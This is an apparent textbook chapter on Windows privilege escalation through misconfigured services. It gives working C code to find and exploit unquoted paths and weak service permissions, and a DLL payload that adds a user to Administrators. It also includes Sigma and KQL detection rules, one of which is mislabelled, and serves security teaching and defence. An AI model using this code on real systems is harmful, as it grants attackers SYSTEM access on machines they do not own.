Chapter 145

Privilege Escalation: Weak Service Configurations

Windows services are a persistent source of local privilege escalation. This chapter covers three service misconfigurations — unquoted service path, weak service DACL (writable SERVICE_ALL_ACCESS by low-priv user), and service DLL hijacking — including enumeration from C, exploitation, and the exact Windows API calls used to change service binary paths and trigger re-execution as SYSTEM.

Scenario

You have a foothold on a Windows 10 workstation as a standard domain user. No UAC bypass is available (UAC is set to "Always Notify"). No known kernel exploits apply (fully patched). You need SYSTEM for a token-steal operation. Your enumeration of installed third-party software reveals a vulnerable service: an old vendor backup agent whose service binary path is unquoted and contains spaces — and its service registry key grants WRITE_DAC to Authenticated Users. You have two independent escalation paths from one misconfigured service.

Service Misconfiguration Taxonomy

TypeRoot CauseAttacker ActionPrerequisite
Unquoted pathService image path has spaces, no quotesPlant executable at shorter path segmentWrite permission to parent directory
Weak DACL on serviceSERVICE_ALL_ACCESS granted to low-priv groupChangeServiceConfigW → new binary pathWrite access to service object (SCM)
Weak file permissionsService binary is writable by low-priv userReplace binary on diskWrite access to .exe file
Service DLL hijackingService loads DLL from writable directoryDrop DLL at expected path before DLL loadsWrite access to DLL directory
Insecure registry keyService registry key is writableModify ImagePath value directlyWRITE access to HKLM\SYSTEM\...\Services\X

Enumerating Vulnerable Services

// Enumerate all auto-start services and check for:
// 1. Unquoted path with spaces  2. Writable service DACL

#include "windows.h"
#include "winsvc.h"
#include "aclapi.h"
#include "stdio.h"
#pragma comment(lib, "advapi32.lib")

void EnumWeakServices() {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (!hSCM) { printf("[-] OpenSCManager failed: %d\n", GetLastError()); return; }

    DWORD needed = 0, count = 0, resume = 0;
    EnumServicesStatusExA(hSCM, SC_ENUM_PROCESS_INFO,
                          SERVICE_WIN32, SERVICE_STATE_ALL,
                          NULL, 0, &needed, &count, &resume, NULL);
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, needed);
    resume = 0;
    if (!EnumServicesStatusExA(hSCM, SC_ENUM_PROCESS_INFO,
                               SERVICE_WIN32, SERVICE_STATE_ALL,
                               buf, needed, &needed, &count, &resume, NULL)) {
        HeapFree(GetProcessHeap(), 0, buf);
        CloseServiceHandle(hSCM);
        return;
    }
    ENUM_SERVICE_STATUS_PROCESSA* entries = (ENUM_SERVICE_STATUS_PROCESSA*)buf;
    for (DWORD i = 0; i < count; i++) {
        SC_HANDLE hSvc = OpenServiceA(hSCM, entries[i].lpServiceName,
                                       SERVICE_QUERY_CONFIG | READ_CONTROL);
        if (!hSvc) continue;

        // Get service config → image path
        BYTE cfgBuf[8192]; DWORD cfgNeeded;
        QueryServiceConfigA(hSvc, (QUERY_SERVICE_CONFIGA*)cfgBuf,
                            sizeof(cfgBuf), &cfgNeeded);
        QUERY_SERVICE_CONFIGA* cfg = (QUERY_SERVICE_CONFIGA*)cfgBuf;
        const char* path = cfg->lpBinaryPathName ? cfg->lpBinaryPathName : "";

        // Check unquoted path (starts with letter, not '"', contains space)
        if (path[0] != '"' && strchr(path, ' ')) {
            printf("[UNQUOTED] %s\n  Path: %s\n", entries[i].lpServiceName, path);
        }

        // Check if we can modify the service (SERVICE_CHANGE_CONFIG access)
        SC_HANDLE hWrite = OpenServiceA(hSCM, entries[i].lpServiceName,
                                          SERVICE_CHANGE_CONFIG);
        if (hWrite) {
            printf("[WEAK DACL] %s — SERVICE_CHANGE_CONFIG granted to current user\n",
                   entries[i].lpServiceName);
            CloseServiceHandle(hWrite);
        }
        CloseServiceHandle(hSvc);
    }
    HeapFree(GetProcessHeap(), 0, buf);
    CloseServiceHandle(hSCM);
}

Unquoted Service Path Exploitation

Service image path: C:\Program Files\Vendor Corp\Backup Agent\BackupSvc.exe No quotes → Windows CreateProcess path resolution searches: C:\Program.exe ← plant here if writable C:\Program Files\Vendor.exe ← plant here if writable C:\Program Files\Vendor Corp\Backup.exe ← this is the one: write Backup.exe C:\Program Files\Vendor Corp\Backup Agent\BackupSvc.exe Write Backup.exe (our payload) to: C:\Program Files\Vendor Corp\Backup.exe When service starts/restarts → Windows executes our Backup.exe as SYSTEM
// Plant payload at unquoted path — requires write access to target directory
// Path: C:\Program Files\Vendor Corp\Backup.exe → dir has wide-open ACL

BOOL PlantUnquotedExe(const char* plantPath, const char* payloadPath) {
    if (!CopyFileA(payloadPath, plantPath, FALSE)) {
        printf("[-] CopyFile failed: %d\n", GetLastError());
        return FALSE;
    }
    printf("[+] Planted at %s\n", plantPath);
    return TRUE;
}

// Trigger service restart (requires SeShutdownPrivilege or service stop/start rights)
BOOL TriggerServiceRestart(const char* serviceName) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE hSvc = OpenServiceA(hSCM, serviceName,
                                   SERVICE_STOP | SERVICE_START | SERVICE_QUERY_STATUS);
    if (!hSvc) { CloseServiceHandle(hSCM); return FALSE; }

    SERVICE_STATUS ss;
    ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
    Sleep(2000);
    StartServiceA(hSvc, 0, NULL);
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return TRUE;
}

Weak Service DACL — ChangeServiceConfig

// If current user has SERVICE_CHANGE_CONFIG, swap binary path to our payload
// Service runs as LocalSystem → our payload executes as SYSTEM

BOOL ChangeServiceBinaryPath(const char* serviceName, const char* newBinPath) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) return FALSE;

    SC_HANDLE hSvc = OpenServiceA(hSCM, serviceName,
                                   SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_STOP);
    if (!hSvc) {
        printf("[-] OpenService failed: %d\n", GetLastError());
        CloseServiceHandle(hSCM);
        return FALSE;
    }
    if (!ChangeServiceConfigA(
            hSvc,
            SERVICE_NO_CHANGE,       // service type unchanged
            SERVICE_NO_CHANGE,       // start type unchanged
            SERVICE_NO_CHANGE,       // error control unchanged
            newBinPath,              // NEW binary path — our payload
            NULL, NULL, NULL, NULL,  // other fields unchanged
            NULL, NULL, NULL)) {
        printf("[-] ChangeServiceConfigA failed: %d\n", GetLastError());
        CloseServiceHandle(hSvc);
        CloseServiceHandle(hSCM);
        return FALSE;
    }
    printf("[+] Service binary path changed to: %s\n", newBinPath);

    // Stop and restart to trigger execution
    SERVICE_STATUS ss;
    ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
    Sleep(1500);
    StartServiceA(hSvc, 0, NULL);

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return TRUE;
}

Service DLL Hijacking

// Many Windows services load plugin DLLs from directories other than System32.
// If that directory is writable by a low-priv user, drop a malicious DLL there.
// The DLL runs in the service process context (potentially SYSTEM).

// Example: vendor service loads C:\VendorApp\plugins\helper.dll
// If C:\VendorApp\plugins\ grants write to Users → drop helper.dll payload

// Payload DLL entry point: execute during DllMain, then call original if needed

BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Run payload in a thread to avoid DllMain deadlock
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunPayload, NULL, 0, NULL);
    }
    return TRUE;
}

DWORD WINAPI RunPayload(void* arg) {
    // Add current user to local admins — net localgroup style via NetLocalGroupAddMembers
    LOCALGROUP_MEMBERS_INFO_3 info;
    info.lgrmi3_domainandname = L"CORP\\lowprivuser";
    NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&info, 1);
    return 0;
}

// Check if service DLL directories are writable:
void CheckServiceDllDirs() {
    // Query services whose image is svchost.exe -k 
    // Then read HKLM\SYSTEM\CurrentControlSet\Services\\Parameters\ServiceDll
    // Check ACL on that DLL's directory
    HKEY hKey;
    RegOpenKeyExA(HKEY_LOCAL_MACHINE,
                  "SYSTEM\\CurrentControlSet\\Services",
                  0, KEY_READ, &hKey);
    char subkey[256]; DWORD idx = 0;
    while (RegEnumKeyA(hKey, idx++, subkey, sizeof(subkey)) == ERROR_SUCCESS) {
        char dllPath[MAX_PATH] = {0}; DWORD sz = MAX_PATH;
        char paramKey[512];
        sprintf_s(paramKey, sizeof(paramKey),
                  "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", subkey);
        HKEY hParam;
        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, paramKey, 0, KEY_READ, &hParam) == ERROR_SUCCESS) {
            RegQueryValueExA(hParam, "ServiceDll", NULL, NULL, (LPBYTE)dllPath, &sz);
            RegCloseKey(hParam);
            if (dllPath[0]) {
                // Check write access to DLL path
                if (GetFileAttributesA(dllPath) != INVALID_FILE_ATTRIBUTES) {
                    HANDLE hTest = CreateFileA(dllPath, GENERIC_WRITE, 0,
                                               NULL, OPEN_EXISTING, 0, NULL);
                    if (hTest != INVALID_HANDLE_VALUE) {
                        printf("[WRITABLE DLL] %s -> %s\n", subkey, dllPath);
                        CloseHandle(hTest);
                    }
                }
            }
        }
    }
    RegCloseKey(hKey);
}

Detection Engineering

title: Service Binary Path Changed by Non-Admin
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 7040     # Service start type changed
  filter_admin:
    SubjectUserName|endswith: '$'
  condition: selection AND NOT filter_admin
level: high

title: Unquoted Service Path — New Executable in Path Segment
logsource:
  product: windows
  category: file_event   # Sysmon Event 11
detection:
  selection:
    TargetFilename|re: '^C:\\Program Files.*\.exe$'
    TargetFilename|not|contains: 'Uninstall'
  filter_legit:
    Image|endswith:
      - '\msiexec.exe'
      - '\setup.exe'
      - '\installer.exe'
  condition: selection AND NOT filter_legit
level: medium

-- MDE KQL: service config change triggering new binary execution
DeviceProcessEvents
| where InitiatingProcessFileName =~ "services.exe"
| where not(FileName has_any (
    "svchost.exe", "lsass.exe", "wininit.exe", "spoolsv.exe"))
| where FolderPath !startswith @"C:\Windows\System32"
  AND FolderPath !startswith @"C:\Windows\SysWOW64"
| project Timestamp, DeviceName, FileName, FolderPath,
          ProcessCommandLine, InitiatingProcessCommandLine

Q&A

How does Windows resolve an unquoted service path, and why does the attacker plant the binary at a mid-segment location rather than the full path?

When Windows' CreateProcess (and the Service Control Manager's variant of it) encounters a command line without quotes, it applies the Win32 path parsing rules documented in the CreateProcess MSDN page. The parser splits on spaces to try progressively longer path interpretations, stopping at the first one that resolves to an executable. For a path like C:\Program Files\Vendor Corp\Backup Agent\BackupSvc.exe, the parser attempts these in order: C:\Program.exe (treating "Files\Vendor..." as the arguments), then C:\Program Files\Vendor.exe, then C:\Program Files\Vendor Corp\Backup.exe, then finally the full path. It stops and executes the first one it finds.

The attacker's goal is to find which mid-segment path is actually writable. C:\Program.exe requires write access to the root of C:\ — unlikely for a standard user. C:\Program Files\Vendor.exe requires write access to C:\Program Files\ — also restricted. But third-party installers frequently set permissive ACLs on their own application directories: C:\Program Files\Vendor Corp\ might have write permissions granted to Authenticated Users or even Everyone, because the vendor wanted their app to write log files there without requiring elevation. Dropping Backup.exe in that directory intercepts the path resolution at the third attempt and runs with the same token as the original service — typically SYSTEM. This is why unquoted path vulnerability is common in third-party products but rare in Microsoft's own services: the Windows installer sets tight ACLs on C:\Windows\ and C:\Program Files\ by default. The vulnerability exists at the intersection of two mistakes: the vendor forgot to quote the path in their service registration, and set permissive directory ACLs on their own install directory.